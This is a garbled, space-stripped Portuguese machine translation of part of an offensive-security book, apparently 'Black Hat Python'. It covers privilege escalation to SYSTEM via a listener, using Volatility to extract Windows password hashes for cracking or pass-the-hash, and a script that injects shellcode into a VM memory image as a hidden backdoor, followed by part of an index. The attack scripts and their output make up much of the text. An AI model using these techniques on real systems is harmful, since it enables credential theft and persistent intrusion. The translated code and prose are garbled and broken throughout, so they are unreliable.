suafantasianovoinjectorcdigo.Certifiquesedequeoservioestemexecuo,esimplesmenteexecutaroseu
file_monitor.pyscript.Eventualmente,vocdeveverasadaindicandoqueum.vbsarquivotenhasidocriado
emodificadoequeocdigofoiinjectado.Setudocorreubem,vocdevesercapazdeexecutaro
bhpnet.pyroteirodoCaptulo2paraconectaroouvintevocapenasgerado.Parafazercertooseuprivilgio
escaladafuncionou,conectarseaoouvinteeverificarqualousurioquevocestsendorodado.
justin$./bhpnet.pyt192.168.1.10p9999
<CTRLD>
<BHP:#>whoami
NTAUTHORITY\SYSTEM
<BHP:#>

IssovaiindicarquevoctenhaatingidoacontaSYSTEMsantoequeasuainjeodecdigo
trabalhou.
Vocpodeterchegadoaofimdestecaptulopensarquealgunsdestesataquessoumpoucoesotrico.Mas
quantomaistempovocgastadentrodeumagrandeempresa,maisvocvaiperceberqueestessobastantevivel
ataques.Asferramentasnestecaptulopodemserfacilmenteexpandidaoutransformadasemespecialidadeoneoff
scriptsquevocpodeusaremcasosespecficosparacomprometerumacontalocalouaplicativo.WMIsozinho

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 90/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
podeserumaexcelentefontededadosdereconhecimentolocalquevocpodeusarparapromoverumataque,umavezquevocestdentro
umarede.Escalonamentodeprivilgiosumapeaessencialparaqualquerbomtrojan.

[21] EstecdigofoiadaptadoapartirdapginaPythonWMI(http://timgolden.me.uk/python/wmi/tutorial.html).

[22] Win32_Processclassedocumentao:http://msdn.microsoft.com/enus/library/aa394372(v=vs.85).aspx

[23] MSDNAcessoTokens:http://msdn.microsoft.com/enus/library/Aa374909.aspx

[24] Paraalistacompletadeprivilgios,visitehttp://msdn.microsoft.com/enus/library/windows/desktop/bb530716(v=vs.85).aspx.

[25] CarlosPerezfazalgumtrabalhoincrvelcomPowerShellvejahttp://www.darkoperator.com/.

Captulo11.AutomatizandoofensivosForensics
Forensicspessoassomuitasvezeschamadosapsumaviolao,ouparadeterminarseum"incidente"ocorreuem
todos.ElesnormalmentequeremuminstantneodamemriaRAMdocomputadorafectado,afimdecapturarcriptogrfico
chavesououtrasinformaesqueresideapenasnamemria.Sorteparaeles,umaequipededesenvolvedorestalentosos
criouumquadroPythontodaadequadoparaestatarefachamadaVolatilidade,anunciadocomoumavanado
frameworkforensedememria.respondedoresdeincidentes,osmdicoslegistaseanalistasdemalwarepodeusar
Volatilidadeparaumavariedadedeoutrastarefas,bemcomo,incluindoainspeodeobjetosdokernel,anlisee
despejoprocessos,eassimpordiante.Ns,claro,estomaisinteressados
nascapacidadesofensivasque

Volatilidadefornece.
Emprimeirolugar,explorarusandoalgunsdosrecursosdelinhadecomandopararecuperaroshashesdesenhadeum
executandomquinavirtualVMWare,e,emseguida,mostrarcomopodemosautomatizaresseprocessodeduasetapaspor
incluindovolatilidadenosnossosscripts.Oltimoexemplomostracomopodemosinjetarshellcodediretamenteem
aexecuoVMemumlocalprecisoquensescolhemos.Estatcnicapodesertilparapregarosparanico
usuriosquenavegamouenviaremailssomentedeumaVM.TambmpodedeixarumabackdoorescondidoemumaVM
instantneoqueserexecutadoquandooadministradorrestauraaVM.Estemtododeinjecocdigo
TambmtilparaaexecuodecdigoemumcomputadorquetenhaumaportaFireWirequevocpodeacessar,masque
bloqueadooudormindoerequerumasenha.Vamoscomear!

Instalao
Avolatilidadeextremamentefcildeinstalarvocsprecisabaixlo
https://code.google.com/p/volatility/downloads/list.Eunormalmentenofazerumacompletainstalao.Emvezdisso,I
mantloemumdiretriolocaleadicionarodiretrioparaomeucaminhodetrabalho,comovocveraseguir

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 91/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
Sees.UminstaladordoWindowstambmestincludo.Escolhaomtododesuaescolhainstalaoisto
devefuncionarbemoquevocfaz.

Profiles
Avolatilidadeutilizaoconceitodeperfisparadeterminarcomoaplicarassinaturasecompensaesnecessriaspara
arrancarinformaesdedespejosdememria.Massevocpodeobterumaimagemdememriadeumalvovia
FireWireouremotamente,vocpodenonecessariamenteconheceraversoexatadosistemaoperacional
vocestatacando.Felizmente,avolatilidadeincluiumpluginchamadoimageinfoquetentadeterminar
qualoperfilquedeveusarcontraoalvo.Vocpodeexecutaropluginassim:
$Pythonvol.pyimageinfof"memorydump.img"

Depoisdeexecutlo,vocdeveobterumbompedaodeinformaodevolta.Alinhamaisimportantea
SugeriuPerfisdelinha,quedeveolharalgocomoisto:
Perfilsugerida(s):WinXPSP2x86,WinXPSP3x86

Quandovocestexecutandoosprximosexercciosemumalvo,vocdevedefinirosinalizadordelinhadecomando
perfilparaoapropriadovalormostrado,comeandocomoprimeiroumlistados.Emoacimacenrio,quetinha
uso:
$Pythonvol.pypluginsprofile="WinXPSP2x86"argumentos

Vocvaisabersevocdefiniroperfilerrado,porquenenhumdospluginsirfuncionarcorretamente,ou
Volatilidadevaijogarerrosindicandoquenopoderiaencontrarummapeamentodeendereoadequado.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 92/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Agarrandooshashesdesenha
RecuperaroshashesdesenhaemumamquinaWindowsapsapenetraoumobjetivocomumentre
atacantes.Esteshashespodeserquebradaofflineemumatentativaderecuperarasenhadoalvo,oueles
podeserusadoemumataquepasseahashparaganharacessoaoutrosrecursosderede.Olhandoatravsdo
VMsouinstantneossobreumalvoumlugarperfeitoparatentarrecuperaresseshashes.
Seodestinoforumusurioparanicoquerealizaoperaesdealtoriscoapenasemumamquinavirtualouum
empresatentandoconteralgumasdasatividadesdoseuusurioparaVMs,oVMsapresentarumaexcelente
apontampararecolherinformaesdepoisdeterobtidoacessoaohardwarehost.
Avolatilidadetornaesteprocessoderecuperaoextremamentefcil.Primeiro,vamosdarumaolhadaemcomooperaro
pluginsnecessriospararecuperarosdeslocamentosnamemriaondeoshashesdesenhapodeserrecuperada,e
emseguida,recuperarosprprioshashes.Entovamoscriarumscriptparacombinarissoemumanicaetapa.
WindowsarmazenasenhaslocaisnoSAMseoderegistroemumformatodehash,ejuntamentecomisso,o
ChavedeinicializaodoWindowsarmazenadosnosistemaderamoderegisto.Nsprecisamambosestesurticria,afimdeextrair
oshashesdeumaimagemdememria.Paracomear,vamosexecutarohivelistpluginparafazerVolatilidadeextrairo
deslocamentosnamemriaondeestasduascolmeiasvivem.Entovamospassarestainformaoforaparaohashdump
pluginparafazeraextraodehashreal.Cairemseuterminaleexecuteoseguintecomando:
$Pythonvol.pyhivelistprofile=WinXPSP2x86f"WindowsXPSP2.vmem"

Apsumminutooudois,vocdeverserpresenteadocomalgumasadaexibindoondeaquelesRegistro
urticriaaovivonamemria.Eurecorteiumapartedasadaporrazesdebrevidade.
Virtual Fsico Nome

0xe1666b600x0ff01b60\Device\HarddiskVolume1\WINDOWS\system32\config\software
0xe1673b600x0fedbb60\Device\HarddiskVolume1\WINDOWS\system32\config\SAM
0xe14557580x070f7758[semnome]
0xe1035b600x06cd3b60\Device\HarddiskVolume1\WINDOWS\system32\config\system

Nasada,vocpodeverosdeslocamentosdememriafsicaevirtual,tantodoSAMedosistemadechavesem
negrito.Tenhaematenoqueovirtualcompensadocompromoesondenamemria,emrelaooperao
sistema,existemaquelescolmeias.Afsicaoffsetolocalnoactual.vmemarquivonodisco,onde
existemaquelescolmeias.AgoraquetemososSAMedosistemaurticria,podemospassarosdeslocamentosvirtuaisparao
hashdumpplugin.Irparatrsparaoseuterminaldeedigiteoseguintecomando,notandoqueoseuvirtual
endereosserodiferentesdoqueosquemostram.
$Pythonvol.pyhashdumpddf"WindowsXPSP2.vmem"
profile=WinXPSP2x86y0xe1035b60s0xe17adb60

Aexecuodocomandoacimadevedarlheresultadosmuitosemelhantesasapresentadasaseguir:
Administrador:500:74f77d7aaaddd538d5b79ae2610dd89d4c:537d8e4d99dfb5f5e92e1fa3
77041b27:::
Guest:501:aad3b435b51404ad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:bf57b0cf30812c924kdkkd68c99f0778f7:457fbd0ce4f6030978d124j
272fa653:::
SUPPORT_38894df:1002:aad3b435221404eeaad3b435b51404ee:929d92d3fc02dcd099fdaec
fdfa81aee:::

Perfeito!agorapodemosenviaroshashesforaanossasferramentasdecraqueamentofavoritosouexecutarumpassthehashpara
autenticarparaoutrosservios.
Agoravamoslevaresteprocessodeduasetapaseagilizarloemnossoprprioscriptindependente.crackabrir
grabhashes.pyedigiteoseguintecdigo:
sysimportao
structimportao
importarvolatility.confcomoconf
importarvolatility.registrycomoregistro

memory_file ="WindowsXPSP2.vmem"
sys.path.append("/Users/justin/downloads/volatilidadede2.3.1")

registry.PluginImporter()
config=conf.ConfObject()

volatility.commandsimportaocomocomandos
volatility.addrspaceimportaocomoaddrspace

config.parse_options()
config.PROFILE="WinXPSP2x86"
config.LOCATION="file://%s"%memory_file

registry.register_global_options(config,commands.Command)
registry.register_global_options(config,addrspace.BaseAddressSpace)

Primeirovamosdefinirumavarivelparaapontarparaaimagemdememriaquevamosanalisar.Emseguida,inclumos
nossocaminhoVolatilidadededownloadparaqueonossocdigopodeimportarcomxitoasbibliotecasvolatilidade.o
restodocdigodesuporteapenasparamontaronossoexemplodavolatilidadecomperfileconfigurao
opesdefinirbem.
Agoravamossondarnonossocdigorealdespejohash.Adicioneasseguinteslinhasparagrabhashes.py.
devolatility.plugins.registry.registryapiRegistryApiimportao
devolatility.plugins.registry.lsadumpHashDumpimportao

Registro=RegistryApi(config)
registry.populate_offsets()

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 93/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
sam_offset=None
sys_offset=None

paracompensaoderegistry.all_offsets:

seregistry.all_offsets[offset].endswith("\\SAM"):
sam_offset=offset
print"[*]SAM:0x%08x"deslocamento%

seregistry.all_offsets[offset]("sistemade\\").endswith:
sys_offset=offset
print"[*]Sistema:0x%08x"deslocamento%

sesam_offsetnonenhumesys_offsetnoNone:
config.sys_offset=sys_offset
config.sam_offset=sam_offset

hashdump=HashDump(config)

parahashemhashdump.calculate():
hashdeimpresso

pausa

sesam_offsetNenhumaousys_offsetNone:
imprimir"[*]NofoipossvelencontrarosistemaoucompensaesSAM."

NsprimeiroinstanciarumanovainstnciadeRegistryApiqueumaclasseauxiliarcomcomumenteusado
funesderegistolevaapenasaconfiguraoactualcomoumparmetro.Ospopulate_offsets
chamar,emseguida,executaoequivalenteaexecutarohivelistcomandoqueanteriormenteabrangidos.
Emseguida,comeamosacaminharatravsdecadaumadascolmeiasdescobertosprocurandooSAMesistema

urticria.Quandosodescobertos,nsatualizaroobjetodeconfiguraoatualcomorespectivo
offsets.Emseguida,criarumaHashDumpobjetoepassaroobjetodeconfiguraoatual.o
etapafinalpararepetirosresultadosdachamadadefunocalcule,queproduzoreal
nomesdeusurioseseushashesassociados.
AgoraexecutarestescriptcomoumarquivoindependentePython:
$Pythongrabhashes.py

Vocdeververamesmasadaquequandovocexecutouosdoispluginsdeformaindependente.Umadicaqueeusugiro
que,comovocolharparaafuncionalidadedacadeiajuntos(oupediremprestadoafuncionalidadeexistente),atravsdogrep
cdigofontevolatilidadeparavercomoelesestofazendoascoisassobocap.VolatilidadenoumabibliotecaPython
comoscapy,mas,examinandocomoosdesenvolvedoresusamseucdigo,vocvercomousarcorretamentequalquer
classesoufunesqueelesexpem.
Agoravamospassarparaalgumassimplesdeengenhariareversa,bemcomoainjeodecdigovoltadoparainfectarum
mquinavirtual.

InjecoDirectaCdigo
Atecnologiadevirtualizaoestsendousadocadavezmaisfrequentementecomootempopassa,sejaporcausade
usuriosparanicos,requisitosdeplataformacruzadaparasoftwaredeescritrio,ouaconcentraodeserviosna
sistemasdehardwaremaiscorpulentos.Emcadaumdessescasos,sevoccomprometeuumsistemahostevocv
VMsemuso,elepodesertilparaescalardentrodeles.SevoctambmverarquivosdeinstantneodeVMemtornodementir,eles
podeserumlugarperfeitoparaimplantarshellcdigocomoummtodoparaapersistncia.Seumutilizadorreverteparauma
snapshotquevocjinfectado,oshellcodeirexecutarevocvaiterumnovoshell.
Partederealizarainjeodecdigoparaoclientequeprecisamosencontrarumlocalidealparainjetarocdigo.
Sevoctemotempo,umlugarperfeitoencontraroloopdeservioprincipalemumprocessodosistema,porque

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 94/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
vocestgarantidoumelevadonveldeprivilgionaVMequeoseushellcodeserchamado.o
desvantagemque,sevocescolherolocalerrado,ouoseushellcodenoestescritocorretamente,vocpode
corromperoprocessoeserpegopelousuriofinaloumataroprprioVM.
NsvamosfazeralgumaengenhariareversasimplesdaaplicaocalculadoradoWindowscomoum
comeandoalvo.Oprimeiropassocarregarcalc.exenodepuradorImmunity[26]eescreverumcdigosimples
scriptdecoberturaquenosajudaaencontrara=funodoboto.Aideiaquepodemosrealizarrapidamentea
engenhariareversa,testarnossomtododeinjeodecdigoefacilmentereproduzirosresultados.Utilizandoistocomoum
fundao,vocpodeprogredirparaencontraralvosmaiscomplicadaseinjetandoshellcodemaisavanado.
Ento,claro,encontrarumcomputadorquesuportaFireWireeexperimentlolfora!
VamoscomearcomumImunidadesimplesDebuggerPyCommand.AbraumnovoarquivonoseuWindows
XPVMenomelacodecoverage.py.CertifiquesedesalvaroarquivonoprincipalDebuggerImmunity
diretriodeinstalaosoboPyCommandspasta.
deimmlibimport*

cc_hookclasse(LogBpHook):

def__init__(self):

LogBpHook.__oinit__(self)
self.imm=Debugger()

rundef(self,regs):

self.imm.log("%08X"%regs['EIP'],registros['EIP'])
self.imm.deleteBreakpoint(registros['EIP'])

Retorna

defprincipais(args):

imm=Debugger()

calc=imm.getModule("calc.exe")
imm.analyseCode(calc.getCodebase())

Funes=imm.getAllFunctions(calc.getCodebase())

Hooker=cc_hook()

paraafunoemfunes:
hooker.add("%08x"funo%,funo)

retornar"Tracking%dfunes."%Len(funes)

Esteumscriptsimplesqueencontracadafunoemcalc.exeeparacadaumdefineumoneshot

pontodeinterrupo.Istosignificaque,paracadafunoqueexecutada,ImmunityDebuggeremiteo
endereodafunoe,emseguida,removeopontodeinterrupodemodoquensnocontinuamenteregistraromesmo
endereosdefuno.Cargacalc.exenodepuradorImmunity,masnoexecutloainda.Emseguida,nocomando
barranaparteinferiordatelaimunidadedodepurador,digite:
!codecoverage

Agoravocpodeexecutaroprocesso,pressionandoateclaF9.SevocalternarparaoViewLog(ALTL),vocver
funesrolar.Agoracliquetantosbotescomovocquer,excetooboto=.Aidiaquevoc
querexecutartudo,masaumafunoquevocestprocurando.Depoisquevocclicouemtorno
osuficiente,cliquecomobotodireitonavistadoregistoeselecioneLimparjanela.Issoremovetodososseusanteriormente
baterfunes.Vocpodeverificarissoclicandoemumbotoquevocclicouanteriormentevocnodevever
nadaaparecernajaneladelog.Agoravamosclicarnessetraquinas=boto.Vocdeververapenasumanica
entradanateladelog(vocpodeterquedigitarumaexpressocomo3+3e,emseguida,apertaroboto=).Em
meuWindowsXPSP2VM,esteendereo0x01005D51.
Tudocerto!NossopasseioturbilhodeDebuggerImunidadeealgumastcnicasbsicasdecoberturadecdigo
maisetemosoendereoparaondequeremosinjetarcdigo.Vamoscomearaescrevernossocdigodevolatilidadeao
fazerestenegciodesagradvel.
Esteumprocessoemandaresmltiplos.Primeiroprecisamosdigitalizarmemriaprocurandoocalc.exeprocessoe,emseguida,
caaratravsdoseuespaodememriaparaumlocalparainjectarocdigodashell,assimcomoparaencontrarodeslocamentofsico
naimagemRAMquecontmafunoqueanteriormenteencontrados.Temos,ento,parainserirumpequenosalto
sobreoendereodafunoparaoboto=quesaltaparaonossoshellcodeeexecutalo.oshellcode
usamosparaesteexemplodeumademonstraoqueeufizemumafantsticaconfernciadeseguranacanadense
chamadodecontramedidas.Esteshellcodeestusandodeslocamentoscodificadas,assimquesuamilhagempodevariar.[27]
Abraumnovoarquivo,nomelocode_inject.pyeforjaroseguintecdigo.
sysimportao
structimportao

equals_button=0x01005D51

memory_file ="WinXPSP2.vmem"
slack_space =None
trampoline_offset=None

#Lernonossoshellcode
sc_fd=open("cmeasure.bin","rb")
sc =Sc_fd.read()
sc_fd.close()

sys.path.append("/Users/justin/Downloads/volatilidade2.3.1")

importarvolatility.confcomoconf
importarvolatility.registrycomoregistro

registry.PluginImporter()
config=conf.ConfObject()

volatility.commandsimportaocomocomandos
volatility.addrspaceimportaocomoaddrspace

registry.register_global_options(config,commands.Command)

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 95/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
registry.register_global_options(config,addrspace.BaseAddressSpace)
config.parse_options()
config.PROFILE="WinXPSP2x86"

config.LOCATION="file://%s"%memory_file

Estecdigodeconfiguraoidnticoaocdigoanteriorvocescreveu,comaressalvadequeestamoslendoem
oshellcodequevamosinjetarnoVM.
Agoravamoscolocarorestodocdigonolugarpararealmenteexecutarainjeo.
volatility.plugins.taskmodsimportaocomotaskmods

p=taskmods.PSList(config)

paraprocessoemp.calculate():

Sestr(process.ImageFileName)=="calc.exe":

print"[*]calc.exeEncontradocomPID%d"%process.UniqueProcessId
print"[*]Huntingparadeslocamentosfsicos...aguarde."

address_spaceprocess.get_process_address_space=()
Pginas =()address_space.get_available_pages

Emprimeirolugar,instanciarumnovopslistclasseepassarnanossaconfiguraoatual.Opslistmdulo
responsvelporcaminharatravsdetodososprocessosemexecuodetectadosnaimagemdememria.Ns
iterarsobrecadaprocessoesedescobrirumcalc.exeprocesso,obtemosseuespaodeendereocompleto
etudodeoseuprocessodememriapginas.
Agoravamospercorreraspginasdememriaparaencontrarumpedaodamemriadomesmotamanhoqueonosso
shellcodequepreenchidocomzeros.Comoassim,nsestamosolhandoparaoendereovirtualdanossa=boto
manipuladordemodoquepodemosescreveronossotrampolim.Digiteocdigoaseguir,lembrandodo
recuo.
porpginaempginas:

fsica=address_space.vtop(Pgina[0])

sefsicanoNone:

seslack_spaceNone:


fd=open(memory_file,"r+")
fd.seek(fsico)
buf=fd.read(Pgina[1])

experimentar:
offset=buf.index("\x00"*len(SC))
slack_space=pgina[0]+offset

print"[*]Encontradoboalocalizaoshellcode!"
print"[*]endereovirtual:0x%08x"%slack_space
print"[*]Endereofsico:0x%08x"%(fsica.
+Offset)
print"[*]Injetarshellcode."

fd.seek(fsica+offset)
fd.write(SC)
fd.flush()

#Criaronossotrampolim
tramp="\xbb%s"%struct.pack("<L",pgina[0]+offset)
tramp+="\xff\XE3"

setrampoline_offsetnoNone:
pausa

exceto:
passar

fd.close()

#Verificaranossalocalizaodecdigodedestino
seapgina[0]<=equals_buttone.
equals_button<((pgina[0]+pgina[1])7):

print"[*]Encontradoonossoalvotrampolimem:0x%08x".
%(Fsica)

#Calculardeslocamentovirtual
v_offset=equals_buttonpgina[0]

#Agoracalcularfsicacompensado
trampoline_offset=fsica+v_offset

print"[*]Encontradoonossoalvotrampolimem:0x%08x".
%(Trampoline_offset)

seslack_spacenoNone:
pausa

print"[*]Escrevendotrampolim..."


fd=open(memory_file,"r+")
fd.seek(trampoline_offset)
fd.write(tramp)
fd.close()

print"[*]Feitoinjeodecdigo."

Tudocerto!Vamosexaminaroquetudoissocdigofaz.Quandonsiterarsobrecadapgina,ocdigo
retornaumalistadedoismembros,ondepgina[0]oendereodapginaepgina[1]otamanhodo
Apginaembytes.medidaquecaminhamosatravsdecadapginadememria,temosqueencontrarprimeiroodeslocamentofsico(lembrese
odeslocamentonaimagemRAMnodisco)deondeapginareside.Emseguida,abraaimagemRAM,
procuramodeslocamentodeondeapgina,eentoleremtodaapginadememria.Ento,tentamos
encontrarumpedaodeNULLbytesdomesmotamanhoqueonossoshellcodeesteolugarondensescrevemososhellcode
naimagemRAM.Depoisnsencontramosumlocaladequadoeinjetouoshellcode,tomamoso
endereodonossoshellcodeecriarumpequenopedaodeopcodesx86.Produziressesopcodeso

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 96/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
apsamontagem:
movebx,ADDRESS_OF_SHELLCODE
jmpEBX

Tenhaemmentequevocpodeusarosrecursosdedesmontagemdevolatilidadeparagarantirquevocdesmontaro
nmeroexatodebytesquevocprecisaparaoseusalto,erestaurarosbytesemseushellcode.Doente
deixarissocomoumaliodecasa.
Aetapafinaldonossocdigoparatestarsenossafuno=botoresidenapginaatualque
estamosinteragindosobre.Seencontrlo,nscalculamosodeslocamentoe,emseguida,escreveranossatrampolim.
Temosagoraonossotrampolimnolugarquedeveriatransferiraexecuoparaoshellcodequecolocamosna
imagemRAM.

Chutarospneus
OprimeiropassofecharDebuggerimunidadeseeleaindaestemexecuoefechetodasasinstnciasdecalc.exe.
Agorafogoatcalc.exeeexecutaroscriptdeinjeodecdigo.Vocdeververumasadacomoesta:
$Code_inject.pypython
[*]Calc.exeEncontradocomPID1936
[*]Acaaparadeslocamentosfsicos...aguarde.
[*]Encontradoboalocalizaoshellcode!
[*]Endereovirtual:0x00010817
[*]Endereofsico:0x33155817
[*]Ainjeodeshellcode.
[*]Encontradoonossoalvotrampolimem:0x3abccd51
[*]Escritatrampolim...
[*]Feitoinjeodecdigo.

Bela!Eledevemostrarqueencontramostodososdeslocamentos,einjetouoshellcode.Paratestlo,basta
cairemsuaVMefazerumrpido3+3eaperteoboto=.Vocdeververumamensagempopup!
Agoravocpodetentarfazerengenhariareversadeoutrosaplicativosouservios,almdecalc.exetentareste
tcnicacontra.Voctambmpodeestenderestatcnicaparatentarmanipularobjetoskernelquepode
comportamentorootkitmmica.Estastcnicaspodemserumamaneiradivertidadesefamiliarizarcomamemria
forense,eelestambmsoteisparasituaesondevoctemacessofsicomquinaoutm
estalouumservidordehospedagemnumerososVMs.

[26] BaixarDebuggerImunidadeaqui:http://debugger.immunityinc.com/.

[27] SevocquerescreverseuprprioshellcodeMessageBox,consulteestetutorial:https://www.corelan.be/index.php/2010/02/25/exploit
escritatutorialpart9introduoawin32shellcoding/.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 97/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

ndice
ANOTEONTHEDIGITALINDEX
Umlinkemumaentradadendiceexibidocomoottulodaseoemqueessaentradaexibida.Porquealgumasseestmndicedemltipla
marcadores,noincomumparaumaentradadetervrioslinksparaamesmaseo.Aoclicaremqualquerlinkolevardiretamenteparaolugar
notextoemqueomarcadoraparece.

UMA
AddressResolutionProtocol,ARPCachePoisoningcomscapy(vejaenvenenamentodecacheARP)
AdjustTokenPrivilegesfuno,oWindowsTokenparaPrivilgios
ParmetroAF_INET,ARede:Basics
ARP(AddressResolutionProtocol)envenenamentodecache,ARPCachePoisoningcomscapy,ARPCache
Envenenandocomscapy,PoisoningARPCachecomscapy,PoisoningARPCachecomscapy,ARP
CachePoisoningcomscapy
aadiodefunesdeapoio,ARPCachePoisoningcomscapy
codificaodescriptdeenvenenamento,ARPCachePoisoningcomscapy
inspecionandocache,ARPCachePoisoningcomscapy
testes,ARPCachePoisoningcomscapy
B
ClasseBHPFuzzer,arrotoFuzzing
MotordebuscaBing,Chutarospneus,Bingparaarroto,Bingparaarroto,Bingparaarroto,Bingparaarroto,
BingparaBurp
definiodeclasseextensor,BingparaBurp
funcionalidadeparaanalisarresultados,BingparaBurp
funcionalidadeparaexecutarconsulta,BingparaBurp
testes,Bingparaarroto,BingparaBurp
funobing_menu,BingparaBurp
funobing_search,BingparaBurp
Biondi,Philippe,Possuiraredecomscapy
BitBltfuno,TomarScreenshots
BrowserHelperObjects,CriaodoServidor
ataquesdeforabruta,retrocedeospneus,BruteForarDiretriosearquivoLocais,BruteForar
Diretrioselocalizaesdearquivo,BruteForandodiretrioselocalizaesdearquivo,BruteForando
Diretrioselocaisdearquivos,BruteForardiretrioselocalizaesdosficheiros,BruteForarHTML

Autenticaodeformulrio,BruteForandoaautenticaodeformulrioHTML,BruteForandoformulrioHTML

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 98/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
Autenticao,BruteForandoaautenticaodeformulrioHTML,BruteForandoformulrioHTML
Autenticao,chutarospneus
naautenticaodeformulrioHTML,BruteForandoHTMLFormAuthentication,BruteForandoHTML
Autenticaodeformulrio,BruteForandoaautenticaodeformulrioHTML,BruteForandoformulrioHTML
Autenticao,BruteForandoaautenticaodeformulrioHTML,BruteForandoformulrioHTML
Autenticao,BruteForandoaautenticaodeformulrioHTML,chutarospneus
formulriodelogindeadministrador,BruteForandoHTMLFormAuthentication
configuraesgerais,BruteForandoHTMLFormAuthentication
HTMLclassedeanlise,BruteForandoHTMLFormAuthentication
colaremlistadepalavras,BruteForandoHTMLFormAuthentication
classeforandobrutaprimria,BruteForandoHTMLFormAuthentication
solicitaodefluxo,BruteForandoHTMLFormAuthentication
testes,Chutarospneus
emdiretrioselocaisdearquivos,Retrocedendoospneus,BruteForandoDiretriosearquivoLocais,
BruteForandoDiretrioselocalizaesdearquivo,BruteForandoDiretrioselocalizaesdearquivo,
Diretrioselocalizaesdearquivo,DiretriosBruteforcingelocalizaesdearquivoBruteForando
listadeextensesdeaplicaoparatestar,BruteForandoDiretriosearquivoLocalizaes
listadeextensesquecriam,BruteForarDiretriosearquivoLocalizaes
criandoQueueobjetosapartirdearquivosdelistasdepalavras,BruteForarDiretriosearquivoLocalizaes
criaodelistadepalavras,BruteForandoDiretriosearquivoLocalizaes
testes,BruteForandoDiretriosearquivoLocalizaes
funobuild_wordlist,BruteForandoHTMLFormAuthentication
ArrotoExtenderAPI,EstendendoBurpProxy,EstendendoBurpProxy,EstendendoBurpProxy,arroto
Fuzzing,arrotoFuzzing,arrotoFuzzing,arrotoFuzzing,arrotoFuzzing,arrotoFuzzing,arrotoFuzzing,Burp
Fuzzing,chutarospneus,chutarospneus,chutarospneus,chutarospneus,Bingparaarroto,
Bingparaarroto,Bingparaarroto,Bingparaarroto,Bingparaarroto,Rodarcontedodositeemsenha
Ouro,Rodarcontedodositeemsenhadeouro,RodarcontedodositeemOurosenha,
VirandoocontedodositeemOurosenha,transformandoocontedodositeemOurosenha

criaodelistadepalavras,deadivinhaodesenhaVirandositecontedoemSenhaOuro,Virando
OcontedodositeemOurosenha,RodarcontedodositeemOurosenha,Rodar
OcontedodositeemOurosenha,RodarcontedodositeemOurosenha
converterotrfegoHTTPselecionadoemlistadepalavras,VirandositecontedoemSenhaouro
funcionalidadeparaexibirlistadepalavras,VirandositecontedoemSenhaouro
testes,VirandositecontedoemSenhaOuro,Virandositecontedoemsenha
Ouro
criandofuzzersaplicativosweb,arrotofuzzing,arrotofuzzing,arrotofuzzing,arrotofuzzing,Burp
Fuzzing,arrotoFuzzing,chutarospneus,chutarospneus,chutarospneus
acessodocumentaoarroto,arrotoFuzzing
implementaodocdigoparaatendersexigncias,arrotoFuzzing
extensodecarregamento,arrotoFuzzing,arrotoFuzzing
fuzzersimples,arrotoFuzzing
usandoaextensodosataques,Chutarospneus,Chutarospneus,Chutarospneus
instalao,EstendendoBurpProxy,arrotoFuzzing
interfacecomBingAPIparamostrartodososhostsvirtuais,Chutarospneus,Bingparaarroto,Bingpara
Arroto,Bingparaarrotar,Bingparaarrotar,BingparaBurp
definiodeclasseextensor,BingparaBurp
funcionalidadeparaanalisarresultados,BingparaBurp
funcionalidadeparaexecutarconsulta,BingparaBurp
testes,Bingparaarroto,BingparaBurp
JythonarquivoindependenteJAR,EstendendoBurpProxy,arrotoFuzzing
BurpExtenderclasse,arrotoFuzzing
C

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 99/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
CaimeAbel,Chutarospneus
CANVAS,PythonicShellcodeExecuo,PythonicShellcodeExecution
mtododecanal,SSHTunneling
MensagemClientConnected,SSHcomparamiko
injeodecdigo,Chutarospneus,diretoCdigoInjection
